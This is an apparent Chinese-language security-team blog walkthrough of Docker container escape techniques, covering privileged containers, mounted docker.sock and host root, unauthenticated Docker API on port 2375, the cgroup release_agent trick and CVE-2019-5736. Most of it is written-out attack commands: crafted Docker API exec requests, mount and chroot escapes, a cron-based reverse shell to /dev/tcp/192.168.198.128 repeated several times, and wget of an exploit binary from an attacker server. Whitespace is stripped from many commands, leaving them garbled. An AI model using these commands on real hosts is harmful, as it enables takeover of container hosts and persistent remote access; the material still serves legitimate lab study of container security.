什麼是Docker
Docker是一個開源的引擎,可以輕鬆的為任何應用創建一個輕量級的、可移植的、自給自足的容器。開發者在筆記本上編譯測試通過的容器可以批量地在生產環境中部署,包括VMs(虛擬機)、bare metal、OpenStack 集群和其他的基礎應用平台。
判斷當前是否為docker環境
首先在我們拿到一個主機權限之後,需要判斷該權限所處環境是不是docker,可以使用下面兩條命令
1.是否存在.dockerenv文件,若該文件存在則為docker環境,若不存在該文件則當前環境非docker環境ls-alh/.dockerenv


2.查詢系統進程的cgroup信息,docker環境中的cgroup文件普遍存在docker字段,而真實環境中不存在docker字段cat/proc/1/cgroup


Docker逃逸
Docker容器是使用沙盒機制,是單獨的系統,理論上是很安全的,通過利用某種手段,再結合執行EXP或POC,就可以返回一個宿主機的高權限shell,並拿到宿主機的root權限,可以直接操作宿主機文件,從容器中逃了出來,因此我們將其稱為Docker逃逸漏洞。
Portainer後台掛載宿主機根目錄進行逃逸
Portainer是一個可視化的容器鏡像的圖形管理工具,利用Portainer可以輕鬆構建、管理和維護Docker環境,而且完全免費,基於容器化的安裝方式,方便高效部署。需要注意的是後台沒有默認賬號密碼,當第一次登錄系統時會提示設置新密碼,在實戰中可以嘗試爆破。
環境搭建
在安裝了docker的物理機中運行該命令dockerrun-d-p8000:8000-p9000:9000--name=portainer--restart=always-v/var/run/docker.sock:/var/run/docker.sock-vportainer_data:/dataportainer/portainer-ce

部署成功後訪問宿主機的9000端口,設置用戶名與密碼


漏洞利用
進入容器中,添加一個新容器

進入到portainer後台界面

這裡給該容器命名並選擇一個鏡像

下滑到Advanced container settings將console設置為interactive & tty

然後到Volumes中將根目錄掛載到容器中


然後點擊部署即可

部署成功後回到容器中,進入到該容器終端內


進入到終端後,輸入如下命令ls/tide/chroot/tide/bash

如此成功逃逸到宿主機中,也可直接反彈shellecho'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root

privileged特權模式啟動容器
特權模式逃逸是一種最簡單有效的逃逸方法,該漏洞的原理是宿主機使用root用戶或使用sudo命令啟動的容器時,docker管理員可通過mount命令將外部宿主機磁盤設備掛載到容器內部,獲取對整個宿主機的文件讀寫權限,可直接通過chroot切換根目錄、寫ssh公鑰和crontab計劃等逃逸到宿主機。
特權模式與非特權模式的區別
•LinuxCapabilities
1.普通模式下容器內進程只可以使用有限的一些Linux Capabilities
2.特權模式下的容器內進程可以使用所有的Linux Capabilities
•Linux敏感目錄 1. 普通模式下,部分內核模塊路徑比如/proc下的一些目錄需要阻止寫入、有些又需要允許讀寫,這些文件目錄將會以tmpfs文件系統的方式掛載到容器中,以實現目錄mask的需求 2. 特權模式下,這些目錄將不再以tmpfs文件系統的方式掛載
•任何內核文件都是可讀寫 1. 普通模式下,部分內核文件系統(sysfs、procfs)會被只讀的方式掛載到容器中,以阻止容器內進程隨意修改系統內核 2. 特權模式下,內核文件系統將不再以只讀的方式被掛載
•APPArmor和Seccomp
1.普通模式下,可以通過配置APPArmor或Seccomp相關安全選項
2.特權模式下,這些AppArmor或Seccomp相關配置將不再生效
•cgroup讀寫
1.默認情況下,只能以只讀模式操作cgroup
2.特權模式下,將可以對cgroup進行讀寫操作
•/dev
1.普通模式下,容器內/dev目錄下看不到節點/dev目錄下特有的devices
2.特權模式下,容器內的/dev目錄會包含這些來自節點/dev目錄下的那些內容
•SELinux
1.特權模式下,SELinux相關的安全加固配置將被禁用
2.普通模式下也可以通過對應的安全選項來禁用SELinux特性
判斷方法
在容器中可以使用該命令檢測當前容器是否以特權模式啟動cat/proc/self/status|grepCap如果是特權模式啟動的話,CapEff對應的掩碼值在centos中為 0000001fffffffff ,在ubuntu中為0000003fffffffff,如下圖


環境搭建
在安裝有docker機器的主機上直接運行該命令,啟動該容器即可。dockerrun-it--privilegedubuntu:18.04

漏洞利用
首先我們為了區別宿主機與docker容器的區別,我們先在宿主機中新建一個文件,作為標識區別

在啟動後我們會進入到docker容器的bash中,在這裡我們查看當前主機的docker是否為特權模式啟動。cat/proc/self/status|grepCap

我們可以將宿主機目錄掛載到該docker容器中,首先查看當前磁盤分區情況,獲得宿主機分區fdisk-l

這裡我們根據分區大小得知到宿主機的磁盤為/dev/dm-0,這時可以直接掛載宿主機的磁盤mkdirtidemount/dev/dm-0/tide/chroot/tide/

這時我們會進入一個bash會話,在這裡可以查看宿主機的/etc/passwd等敏感文件

這時去查看剛剛我們在宿主機根目錄中創建的flag.txt文件,看其是否存在,就能判斷出我們當前是否已經成功跳出docker容器

這裡可以看到我們現在已經成功跳出了docker容器,獲得了宿主機的權限,可以使用計劃任務反彈shellecho'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root

Docker API 未授權訪問
該漏洞起因是因為使用Docker Swarm時,管理的docker 節點上便會開放一個TCP端口2375/2376,綁定在0.0.0.0上,如果沒有做限制訪問來源的話,攻擊者可以通過Doker未授權來控制服務器。
環境搭建
在vulhub中存在該漏洞復現環境,部署命令如下:cddocker/unauthorized-rce/docker-composebuilddocker-composeup-ddocker-composeps

也可以在真實Docker中部署該環境,部署步驟如下:#下載環境curl-o/etc/yum.repos.d/Centos-7.repohttp://mirrors.aliyun.com/repo/Centos-7.repocurl-o/etc/yum.repos.d/docker-ce.repohttp://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repoyumcleanall&&yummakecache

安裝指定版本dockeryuminstall-ydocker-ce-18.09.9

配置加速源vim/etc/docker/daemon.json{"registry-mirrors":["https://8xpk5wnt.mirror.aliyuncs.com"]}

設置開機自啟:systemctlenabledockersystemctldaemon-reload

啟動contianerd服務:containerd#啟動systemctlstatuscontainerd#查看服務狀態

開啟2375端口,提供外部訪問:vim/usr/lib/systemd/system/docker.serviceExecStart=/usr/bin/dockerd-Htcp://0.0.0.0:2375-Hfd://--containerd=/run/containerd/containerd.sock

改完之後需要重啟:systemctldaemon-reloadsystemctlrestartdocker

然後我這裡還需要在防火牆中將2375端口放行,命令如下:systemctlstartfirewalldfirewall-cmd--zone=public--add-port="2375"/tcp--permanentfirewall-cmd--permanent--query-port="2375"/tcpsystemctlrestartfirewalld

接下來我們訪問該ip的2375端口即可,當我們訪問時會返回 404 page not found。這是 Docker RemoteAPI,可以執行docker命令。

這裡如果我們繼續訪問http://192.168.198.129:2375/version,會返回docker的版本信息,這樣證明該漏洞存在。

比如訪問 http://192.168.198.129:2375/containers/json 會返回docker信息,和在docker CLI上執行 docker ps 的效果一樣,其他操作比如創建/刪除container,拉取image等操作也都可以通過API調用完成。

漏洞利用利用方法1 命令執行
訪問 http://192.168.198.129:2375/containers/json 獲得剛剛返回的exec_id的參數,構造如下數據包:

POST/containers/7badb971f85814c718dcc4efdd34fead171ebdbb099bc5252f02785374e24b0f/execHTTP/1.1Host:192.168.198.138:2375Content-Type:application/jsonContent-Length:168{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["cat","/etc/passwd"],"DetachKeys":"ctrl-p,ctrl-q","Privileged":true,"Tty":true}注意其中cmd的字段,這就是我們要執行的命令,發送後會得到第二個id,這裡需構造一個exec_start數據包,內容如下。

POST/exec/962fee39c29a2c9d5ea984b55673a7823aa06b6187eaf4be279f25af6cecad1f/startHTTP/1.1Host:192.168.198.138:2375Content-Type:application/jsonContent-Length:36{"Detach":false,"Tty":false}

然後發送就會得到結果,至此成功獲得該docker主機的rce權限,但無法逃逸到宿主機中。
利用方法2 遠程連接,新建特權容器,逃逸到宿主機中
因為docker 有遠程連接命令,由於2375端口暴露,可未授權訪問,所以現在可以在我們的主機上通過遠程方式連接doker ,然後以特權模式啟動一個docker容器,從而達到逃逸到宿主機的情況docker-Htcp://192.168.198.138:2375psdocker-Hdocker-Htcp://192.168.241.142:2375run-it--privilegedalpinebin/sh

進入容器後,使用fdisk -l命令查看磁盤文件fdisk-l

分區大小得知到宿主機的磁盤為/dev/dm-0,這裡可以使用上面我們剛剛特權模式逃逸的命令將該磁盤掛載到目錄中mkdir/tide/mount/dev/dm-0/tide/chroot/tide/

成功逃逸到宿主機
掛載Docker.sock
Docker架構相當於C/S架構,docker.sock就是docker中套docker,docker的client和server的通信模式參考:https://www.jb51.net/article/99019.htm利用docker.sock逃逸的前提條件
3.攻擊者獲得了docker容器的訪問權限
4.容器已安裝/var/run/docker.sock
環境搭建
創建Dockerdockerrun-it-v/var/run/docker.sock:/var/run/docker.sockubuntu:18.04

隨後在docker容器中安裝docker#ubuntu18.04安裝dockerapt-getupdate#安裝依賴包apt-getinstallapt-transport-httpsca-certificatescurlgnupg-agentsoftware-properties-common#添加Docker的官方GPG密鑰curl-fsSLhttps://download.docker.com/linux/ubuntu/gpg|apt-keyadd-#驗證當前是否擁有帶有指紋的密鑰apt-keyfingerprint0EBFCD88#設置穩定版倉庫add-apt-repository"deb[arch=amd64]https://download.docker.com/linux/ubuntu$(lsb_release-cs)stable"#更新apt-getupdate#安裝最新的Docker-ceapt-getinstalldocker-ce#啟動systemctlenabledockersystemctlstartdocker

這時安裝完成後我們就可以使用docker ps來看到宿主機上的容器了。
漏洞利用
將宿主機的根目錄掛載到容器中dockerrun-it-v/:/tideubuntu:18.04/bin/bashchroottide

這時可以看到返回出一個bash會話,這裡我們就可以看到我們之前在宿主機中創建的flag.txt了

這裡也可以使用計劃任務反彈shellecho'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root

掛載宿主機根目錄
如果在docker啟動的時候掛載了宿主機的根目錄,就可以通過chroot獲取宿主機的權限dockerrun-it-v/:/tide/ubuntu:18.04chroot/tide/

相同也可以通過計劃任務反彈shellecho'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root

Cgroup執行宿主機系統命令
docker使用cgroup進行資源限制,當cgroup中最後一個任務結束且notify_on_release開啟,release_agent可執行事先提供的命令,因此可以利用這個特性來實現容器的逃逸。
漏洞利用條件
```shell
1.以root用戶身份在容器內運行 2.使用SYS_ADMINLinux功能運行 3.缺少APPArmor配置文件,否則將允許mountsyscall 4.cgroup V1虛擬文件系統必須以讀寫方式安裝在容器內
####環境搭建```shelldockerrun--rm-it--cap-add=SYS_ADMIN--security-optapparmor=unconfinedubuntu:18.04漏洞利用#掛載宿主機cgroup,自定義一個cgroup,/tmp/cgrp/xmkdir/tmp/cgrp&&mount-tcgroup-omemorycgroup/tmp/cgrp&&mkdir/tmp/cgrp/x#設置/tmp/cgrp/x的cgroup的notify_no_release和release_agent#設置/tmp/cgrp/x的notify_no_release屬性設置為1,通過sed匹配出/etc/mtab中perdir=的路徑,然後將路徑+cmd寫入/tmp/cgrp/release_agentecho1>/tmp/cgrp/x/notify_on_releasehost_path=`sed-n's/.*\perdir=\([^,]*\).*/\1/p'/etc/mtab`echo"$host_path/cmd">/tmp/cgrp/release_agent#寫入自定義命令echo'#!/bin/sh'>/cmd#結果在當前目錄的output文件中echo"cat/flag.txt>$host_path/output">>/cmdchmoda+x/cmd#執行完sh-c之後,sh進程自動退出,cgroup/tmp/cgrp/x里不再包含任何任務,/tmp/cgrp/release_agent文件里的shell將被操作系統內核執行,達到了容器逃逸的效果sh-c"echo\$\$>/tmp/cgrp/x/cgroup.procs"
如上圖所示,成功獲取到宿主機根目錄的flag.txt的內容,同理,我們將上面poc中的echo中的命令修改為反彈shell的命令,即可進行反彈shell,獲得宿主機的權限。
echo"echo'*****bash-i>&/dev/tcp/192.168.198.128/88880>&1'>>/var/spool/cron/root">>/cmdchmoda+x/cmdsh-c"echo\$\$>/tmp/cgrp/x/cgroup.procs"runC逃逸-CVE-2019-5736
cve-2019-5736屬於docker環境逃逸類型漏洞,該漏洞利用runC文件被覆蓋,當管理員通過exec進入容器的時候,觸發payload,從而達到逃逸 。個人理解這種方式利用的條件其實比較苛刻,主要苛刻在宿主機中必須有管理員使用exec進入當前docker環境,如果宿主機沒有在運行EXP後進入該容器的話,是無法進行逃逸的。
影響版本dockerversion<=18.09.2RunCversion<=1.0-rc6環境搭建
在部署該環境時,需要先將之前系統上所安裝的docker卸載掉安裝18.06版本的docker,我這裡直接恢復了還沒安裝docker時的快照,故直接安裝即可。
curlhttps://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw-oinstall.sh&&bashinstall.sh
另外可以使用 Metarget去直接部署環境,操作命令如下:安裝Metarget
gitclonehttps://github.com/brant-ruan/metarget.gitcdmetarget/pip3install-rrequirements.txt
部署cve-2019-5736
./metargetcnvinstallcve-2019-5736
如上,已成功搭建好符合版本的docker環境,接下來我們啟動一個docker容器即可
dockerrun-itubuntu:18.04漏洞利用
下載EXP
gitclonehttps://github.com/Frichetten/CVE-2019-5736-PoC
修改payload為反彈shell

修改完之後進行編譯,
CGO_ENABLED=0GOOS=linuxGOARCH=amd64gobuildmain.go
編譯後會生成一個main的可執行文件,這裡我們需要將其放到docker容器中,在kali中啟動一個http服務,在容器中使用wget的命令去下載該文件
python3-mhttp.server8080
在docker容器中下載該exp,並賦予執行權限,執行
wgethttp://192.168.198.128:8080/mainchmodu+xmain./main
然後這裡我們假裝為宿主機管理員,現在進入到該容器中
dockerpsdockerexec-it3056c91f69ea
這時再來看我們的docker容器里執行的exp已然被執行

但是奇怪的是並沒有反彈過來shell,其他命令也無法被執行,修改了n次paylaod也無果,希望有成功的大佬能告知小弟步驟哪裡錯了。至此,Docker逃逸章節完結,撒花~~

參考鏈接:https://blog.csdn.net/qq_69775412/article/details/124265678https://cloud.tencent.com/developer/article/1987725https://copyfuture.com/blogs-details/202206262308472625https://www.freebuf.com/vuls/264843.htmlhttps://segmentfault.com/a/1190000040980305

E
N
D
團隊內部平台:潮汐在線指紋識別平台 | 潮聽漏洞情報平台 | 潮巡資產管理與威脅監測平台 | 潮汐網絡空間資產測繪 | 潮聲漏洞檢測平台 | 在線免殺平台 | CTF練習平台 | 物聯網固件檢測平台 | SRC資產監控平台| ......
星球分享方向:Web安全|紅藍對抗|移動安全|應急響應|工控安全|物聯網安全|密碼學|人工智能|ctf 等方面的溝通及分享
星球知識wiki:紅藍對抗|漏洞武器庫| 遠控免殺| 移動安全| 物聯網安全| 代碼審計| CTF | 工控安全| 應急響應| 人工智能| 密碼學| CobaltStrike | 安全測試用例| ......
星球網盤資料:安全法律法規| 安全認證資料| 代碼審計| 滲透安全工具| 工控安全工具| 移動安全工具| 物聯網安全| 其它安全文庫合輯| ......
掃碼加入一起學習吧~
